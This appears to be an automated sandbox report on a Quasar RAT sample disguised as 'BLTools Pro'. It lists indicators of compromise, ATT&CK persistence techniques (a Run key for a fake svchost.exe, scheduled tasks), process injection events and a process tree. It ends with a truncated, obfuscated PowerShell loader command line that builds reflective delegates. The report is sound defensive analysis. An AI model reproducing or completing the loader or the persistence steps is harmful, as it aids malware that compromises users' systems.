quasar | da5d423ee2f8103c5d68005c79e05e220177eea2e0af7d06a5666b8ceeb77c3c

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	BLTools Pro.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	BLTools Pro.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	svchost.exe

Executes dropped EXE 14 IoCs

pid	Process
3320	BLTools Pro.exe
3180	svchost.exe
3332	BLTools.exe
1632	Install.exe
2484	$77.exe
1176	svchost.exe
316	Install.exe
4784	svchost.exe
632	BLTools Pro.exe
512	svchost.exe
4372	BLTools.exe
3840	Install.exe
2704	svchost.exe
4812	Install.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe"	BLTools Pro.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe"	BLTools Pro.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svchost	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk	DllHost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2224 set thread context of 468	2224	powershell.EXE	121
PID 2544 set thread context of 4884	2544	powershell.EXE	134

Drops file in Program Files directory 38 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	svchost.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.25\createdump.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\OFFICE16\LICLUA.EXE	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe	svchost.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\Source Engine\OSE.EXE	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	svchost.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	svchost.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	svchost.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.0\createdump.exe	svchost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe	svchost.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svchost.exe	Install.exe
File created	C:\Windows\svchost.exe	Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4036	3332	WerFault.exe	100
3228	4372	WerFault.exe	126

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1719284490"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={2D91B293-3CCF-4F1C-8471-7C9DB36D76A1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5012	schtasks.exe
4716	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2588	7zFM.exe
2224	powershell.EXE
2224	powershell.EXE
2224	powershell.EXE
2588	7zFM.exe
2588	7zFM.exe
2224	powershell.EXE
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe
468	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2588	7zFM.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeRestorePrivilege	2588	7zFM.exe
Token: 35	2588	7zFM.exe
Token: SeSecurityPrivilege	2588	7zFM.exe
Token: SeDebugPrivilege	2224	powershell.EXE
Token: SeDebugPrivilege	2484	$77.exe
Token: SeDebugPrivilege	2224	powershell.EXE
Token: SeDebugPrivilege	468	dllhost.exe
Token: SeShutdownPrivilege	3164	Explorer.EXE
Token: SeCreatePagefilePrivilege	3164	Explorer.EXE
Token: SeSecurityPrivilege	2588	7zFM.exe
Token: SeShutdownPrivilege	3164	Explorer.EXE
Token: SeCreatePagefilePrivilege	3164	Explorer.EXE
Token: SeShutdownPrivilege	3164	Explorer.EXE
Token: SeCreatePagefilePrivilege	3164	Explorer.EXE
Token: SeShutdownPrivilege	332	dwm.exe
Token: SeCreatePagefilePrivilege	332	dwm.exe
Token: SeShutdownPrivilege	3164	Explorer.EXE
Token: SeCreatePagefilePrivilege	3164	Explorer.EXE
Token: SeShutdownPrivilege	3164	Explorer.EXE
Token: SeCreatePagefilePrivilege	3164	Explorer.EXE
Token: SeDebugPrivilege	2544	powershell.EXE
Token: SeDebugPrivilege	2544	powershell.EXE
Token: SeDebugPrivilege	4884	dllhost.exe
Token: SeShutdownPrivilege	3164	Explorer.EXE
Token: SeCreatePagefilePrivilege	3164	Explorer.EXE

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2588	7zFM.exe
2588	7zFM.exe
2484	$77.exe
2588	7zFM.exe
2588	7zFM.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2484	$77.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5092	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3076	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2588	2320	cmd.exe	93
PID 2320 wrote to memory of 2588	2320	cmd.exe	93
PID 2588 wrote to memory of 3320	2588	7zFM.exe	96
PID 2588 wrote to memory of 3320	2588	7zFM.exe	96
PID 3320 wrote to memory of 5012	3320	BLTools Pro.exe	97
PID 3320 wrote to memory of 5012	3320	BLTools Pro.exe	97
PID 3320 wrote to memory of 3180	3320	BLTools Pro.exe	99
PID 3320 wrote to memory of 3180	3320	BLTools Pro.exe	99
PID 3320 wrote to memory of 3332	3320	BLTools Pro.exe	100
PID 3320 wrote to memory of 3332	3320	BLTools Pro.exe	100
PID 3320 wrote to memory of 3332	3320	BLTools Pro.exe	100
PID 3180 wrote to memory of 1632	3180	svchost.exe	105
PID 3180 wrote to memory of 1632	3180	svchost.exe	105
PID 3180 wrote to memory of 1632	3180	svchost.exe	105
PID 3180 wrote to memory of 2484	3180	svchost.exe	107
PID 3180 wrote to memory of 2484	3180	svchost.exe	107
PID 1632 wrote to memory of 1176	1632	Install.exe	108
PID 1632 wrote to memory of 1176	1632	Install.exe	108
PID 1632 wrote to memory of 1176	1632	Install.exe	108
PID 1176 wrote to memory of 316	1176	svchost.exe	109
PID 1176 wrote to memory of 316	1176	svchost.exe	109
PID 1176 wrote to memory of 316	1176	svchost.exe	109
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 2224 wrote to memory of 468	2224	powershell.EXE	121
PID 468 wrote to memory of 616	468	dllhost.exe	5
PID 468 wrote to memory of 672	468	dllhost.exe	7
PID 468 wrote to memory of 956	468	dllhost.exe	12
PID 468 wrote to memory of 332	468	dllhost.exe	13
PID 468 wrote to memory of 512	468	dllhost.exe	14
PID 468 wrote to memory of 1048	468	dllhost.exe	17
PID 468 wrote to memory of 1056	468	dllhost.exe	18
PID 468 wrote to memory of 1068	468	dllhost.exe	19
PID 468 wrote to memory of 1208	468	dllhost.exe	20
PID 468 wrote to memory of 1224	468	dllhost.exe	21
PID 468 wrote to memory of 1284	468	dllhost.exe	22
PID 468 wrote to memory of 1328	468	dllhost.exe	23
PID 468 wrote to memory of 1348	468	dllhost.exe	24
PID 468 wrote to memory of 1468	468	dllhost.exe	25
PID 468 wrote to memory of 1484	468	dllhost.exe	26
PID 468 wrote to memory of 1496	468	dllhost.exe	27
PID 468 wrote to memory of 1556	468	dllhost.exe	28
PID 468 wrote to memory of 1636	468	dllhost.exe	29
PID 468 wrote to memory of 1676	468	dllhost.exe	30
PID 468 wrote to memory of 1720	468	dllhost.exe	31
PID 468 wrote to memory of 1780	468	dllhost.exe	32
PID 468 wrote to memory of 1820	468	dllhost.exe	33
PID 468 wrote to memory of 1916	468	dllhost.exe	34
PID 468 wrote to memory of 1924	468	dllhost.exe	35
PID 468 wrote to memory of 1932	468	dllhost.exe	36
PID 468 wrote to memory of 2008	468	dllhost.exe	37
PID 468 wrote to memory of 1004	468	dllhost.exe	38
PID 468 wrote to memory of 2108	468	dllhost.exe	40
PID 468 wrote to memory of 2152	468	dllhost.exe	41
PID 468 wrote to memory of 2360	468	dllhost.exe	42
PID 468 wrote to memory of 2368	468	dllhost.exe	43
PID 468 wrote to memory of 2504	468	dllhost.exe	44
PID 468 wrote to memory of 2548	468	dllhost.exe	45
PID 468 wrote to memory of 2556	468	dllhost.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:332
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{777fe81d-71aa-44c1-8566-84ab9df92ed4}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:468
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3bf6c146-f62b-4259-8b6f-b55a4b1bd378}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4884

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1208
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ApHUYyDvvIhF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gzacXjotXBIALS,[Parameter(Position=1)][Type]$uimwEfzrQS)$bvwAXKqjYwB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+'l'+''+[Char](101)+'c'+[Char](116)+''+'e'+'dD'+[Char](101)+''+'l'+'eg'+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+'y'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+''+'e'+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'ub'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+'ss'+','+'A'+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$bvwAXKqjYwB.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gzacXjotXBIALS).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+','+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+'d');$bvwAXKqjYwB.DefineMethod('I'+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','Pu'+'b'+''+'l'+''+'i'+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+[Char](121)+